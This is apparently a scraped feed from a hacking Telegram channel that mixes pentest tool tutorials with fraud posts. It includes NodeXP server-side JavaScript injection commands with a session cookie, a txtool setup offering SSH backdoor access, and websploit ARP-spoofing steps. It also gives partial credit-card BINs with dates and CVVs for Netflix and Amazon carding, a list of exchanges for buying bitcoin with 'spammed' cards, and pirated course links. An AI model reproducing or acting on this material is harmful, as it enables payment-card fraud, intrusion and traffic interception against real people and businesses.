▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫6𝔬𝓓ⓔ ▄ ▂ ▁

🦑2020 new Detection and Exploitation Tool for Node.js Services!
NodeXP is an intergrated tool, written in Python 2.7, capable of detecting possible vulnerabilities on Node.js services as well as exploiting them in an automated way, based on S(erver)S(ide)J(avascript)I(njection) attack!

🄸🄽🅂🅃🄰🄻🄻🄸🅂🄰🅃🄸🄾🄽 & 🅁🅄🄽 :

1️⃣git clone git clone https://github.com/esmog/nodexp.git

2️⃣cd nodexp

3️⃣To get a list of all options run:

> python2.7 nodexp -h

4️⃣To get a list of all options run:

> python2.7 nodexp -h

5️⃣Examples for POST and GET cases accordingly:

> python2.7 nodexp.py --url="http://nodegoat.herokuapp.com/contributions" --pdata="preTax=[INJECT_HERE]" -c="connect.sid=s:i6fKU7kSLPX1l00WkOxDmEfncptcZP1v.fy9whjYW0fGAvbavzYSBz1C2ZhheDuQ1SU5qpgVzbTA"
python2.7 nodexp.py --url="http://nodegoat.herokuapp.com/contributions" --pdata="preTax=[INJECT_HERE]" -c="connect.sid=s:i6fKU7kSLPX1l00WkOxDmEfncptcZP1v.fy9whjYW0fGAvbavzYSBz1C2ZhheDuQ1SU5qpgVzbTA" --tech=blind

» python2.7 nodexp.py --url="http://192.168.64.30/?name=[INJECT_HERE]" -c="connect.sid=s:i6fKU7kSLPX1l00WkOxDmEfncptcZP1v.fy9whjYW0fGAvbavzYSBz1C2ZhheDuQ1SU5qpgVzbTA"
python2.7 nodexp.py --url="http://192.168.64.30/?name=[INJECT_HERE]" -c="connect.sid=s:i6fKU7kSLPX1l00WkOxDmEfncptcZP1v.fy9whjYW0fGAvbavzYSBz1C2ZhheDuQ1SU5qpgVzbTA" --tech=blind


Enjoy ❤️👍🏻
✅git sources 2020
@UndercodeTesting
@UndercodeSecurity
@UndercodeHacking
▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫6𝔬𝓓ⓔ ▄ ▂ ▁

Learn Ethical Hacking From Scratch
Udemy Link:
https://www.udemy.com/course/learn-ethical-hacking-from-scratch/

OneDrive Link:
https://mygavilan-my.sharepoint.com/:f:/g/personal/mollin_colby_my_gavilan_edu/EtZpKsk_V8ZEu8VAsJtuQqkBhGcRGNpZVpPquNJUpBDaRA?e=wWS6JC

✅✅BIN NETFLIX VIA PAYPAL

BIN PAYPAL:


| BIN: 515462003442xxxx
| DATE: 02/23
| CVV: 218

IP: USA 🇺🇸

| TOKEN:
https://www.paypal.com/webapps/hermes/fallback?product=ec&fallback=1&reason=ul_load_timeout&token=

Use secondline or textNow

(Only verified by undercode)
Provide us with screanshoat @Undercode_Bot)

LEARNING CRACKING WI-FI PASSWORD KEYS [ WEP/WPAWPA2 ]

LINK :- https://mega.nz/folder/YyglXD5C#LcziK011TVYLKj3oHXs5VQ/folder/Ur4nSBoQ

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫6𝔬𝓓ⓔ ▄ ▂ ▁

🦑Automate your termux work
-txtool is made to help you for easly pentesting in termux,

🄸🄽🅂🅃🄰🄻🄻🄸🅂🄰🅃🄸🄾🄽 & 🅁🅄🄽 :

1️⃣$ git clone https://github.com/kuburan/txtool.git

2️⃣$ cd txtool

3️⃣$ apt install python2

4️⃣$ ./install.py

5️⃣$ txtool

6️⃣for ssh backdoor access, txtool used paramiko python library that required PyNacl if you have an error installing PyNacl, follow my steps:

> $ apt-get install --assume-yes libsodium libsodium-dev

> $ SODIUM_INSTALL=system pip2 install pynacl

7️⃣choose options via numb

Enjoy❤️👍🏻
✅Topic git sources
@UndercodeTesting
@UndercodeSecurity
@UndercodeHacking
▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫6𝔬𝓓ⓔ ▄ ▂ ▁

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫6𝔬𝓓ⓔ ▄ ▂ ▁

🦑Popular free gift card websites :

🧜‍♂️https://www.oneopinion.com
🧜‍♂️https://dollarsprout.go2cloud.org/aff_c?offer_id=36&aff_id=2&aff_sub=earn-free-gift-cards
🧜‍♂️https://www.thecardcloset.com/
🧜‍♂️https://www.cdkeys.com/
🧜‍♂️https://www.offgamers.com/
🧜‍♂️https://www.giftcardmall.com/
🧜‍♂️https://www.egifter.com/
🧜‍♂️https://www.carddelivery.com/
🧜‍♂️https://www.igp.com/
🧜‍♂️https://www.pcgamesupply.com/
🧜‍♂️https://www.mygiftcardsupply.com/
🧜‍♂️https://www.woohoo.in/
🧜‍♂️https://www.g2a.com/
🧜‍♂️https://www.giftinix.com/
🧜‍♂️https://www.giftcards.com/
🧜‍♂️https://www.cardcash.com/
🧜‍♂️https://joinhoney.com/ref/qedtrpr

@UndercodeTesting
@UndercodeSecurity
@UndercodeHacking
▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫6𝔬𝓓ⓔ ▄ ▂ ▁

Web Development Series: The Definitive Guide to Sass New 2020

https://www.oreilly.com/library/view/web-development-series/9781634626491/

https://mega.nz/#F!szgggQyJ!SbsVpbd98HWciMXjLF1cKQ

🦑Best BTC buying pages use Spammed CC / IBAN
Áll documents and
other security protocols required

Coinmama.com
cex.io
coinbase.com
Bitpanda.com
pro.coinbase.com
bitstamp.net
Kraken.com
blockchain.com
bitcoin.com

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫6𝔬𝓓ⓔ ▄ ▂ ▁

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫6𝔬𝓓ⓔ ▄ ▂ ▁

🦑Chrome malicious extension steals personal data and has been downloaded over 30 million times
#News !!!

> Google’s Chrome Web Store was hit by the largest surveillance activity to date. As of May 2020, the campaign successfully stolen data from users worldwide by downloading malicious extensions more than 32 million times.

> Awake's security threat research team released a research report stating that it discovered a large-scale global surveillance campaign that used the nature of Internet domain registration and browser capabilities to monitor and steal from multiple regions and industry segments User data. Research shows that this criminal activity is promoted by a single Internet domain registrar: CommuniGal Communication Ltd. (GalComm).

> And said that by using the trust as a domain name registrar, GalComm has enabled malicious activity, and the malicious activity has been found in more than one hundred networks inspected. In addition, even in complex organizations that have invested heavily in cybersecurity, malicious activities can be hidden by bypassing multiple layers of security controls.

> Awake pointed out in the report that there are 26,079 accessible domains registered through GalComm, of which more than 15,000 domains are malicious or suspicious.

> In the past three months alone, it has collected 111 malicious or forged Chrome extensions using GalComm domains, which are used for attacker's command and control infrastructure and/or as loader pages for extensions. These extensions can take screenshots, read the clipboard, get credential tokens stored in cookies or parameters, and get user keystrokes (such as passwords).

🦑Examples of tricks to install malicious Chrome extensions

> As of May 2020, the number of downloads of these 111 malicious extensions has reached 32,962,951 times. Awake said the company has partnered with Google to remove these extensions from the Chrome Web Store.

In response to this, Moshe Fogel, the person in charge of GalComm, stated in a communication with Reuters, “GalСomm is not involved in any malicious activities. It can be said that on the contrary, we cooperate with law enforcement and security agencies to do our best to prevent them.” After Awake Security published a report and listed all suspicious domain names, Moshe Fogel also said that the use of these domain names was almost inactive and would continue to investigate other domain names.

@UNdercodeNews
▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫6𝔬𝓓ⓔ ▄ ▂ ▁

✅ Bin For Amazon Shopping 30‎€

Bin : 492107400305xxxx

Date: 04/22
CVV : RND

30-40 EUROS❕

not created by us, verified only

How use bin https://t.me/UnderCodeTesting/3768

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫6𝔬𝓓ⓔ ▄ ▂ ▁

🦑MITM ATTACK VIA TERMUX BEST WAY 2020 :

? man-in-the-middle attack (MITM),
> also known as a hijack attack is an attack where the attacker secretly relays and possibly alters the communications between two parties who believe that they are directly communicating with each other. One example of a MITM attack is active eavesdropping, in which the attacker makes independent connections with the victims and relays messages between them to make them believe they are talking directly to each other over a private connection, when in fact the entire conversation is controlled by the attacker

WELL HOW TO DO ?

🄸🄽🅂🅃🄰🄻🄻🄸🅂🄰🅃🄸🄾🄽 & 🅁🅄🄽 :

1️⃣$ git clone https://github.com/websploit/websploit.git

2️⃣$ cd websploit

3️⃣$ python setup.py install

4️⃣Select module :

wsf > use arp_spoof
with options command you can see options of current module:

wsf > arp_spoof > options
Change options with set command:

wsf > arp_spoof > set target 192.168.1.24
Finally run module via execute command:

wsf > arp_spoof > execute

🦑STILL GE TROUBLE ?

CHECK THIS VID : https://www.youtube.com/watch?v=hqbi86I6KhU

Share us❤️👍🏻
✅Topic sources 2020
@UndercodeTesting
@UndercodeSecurity
@UndercodeHacking
▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫6𝔬𝓓ⓔ ▄ ▂ ▁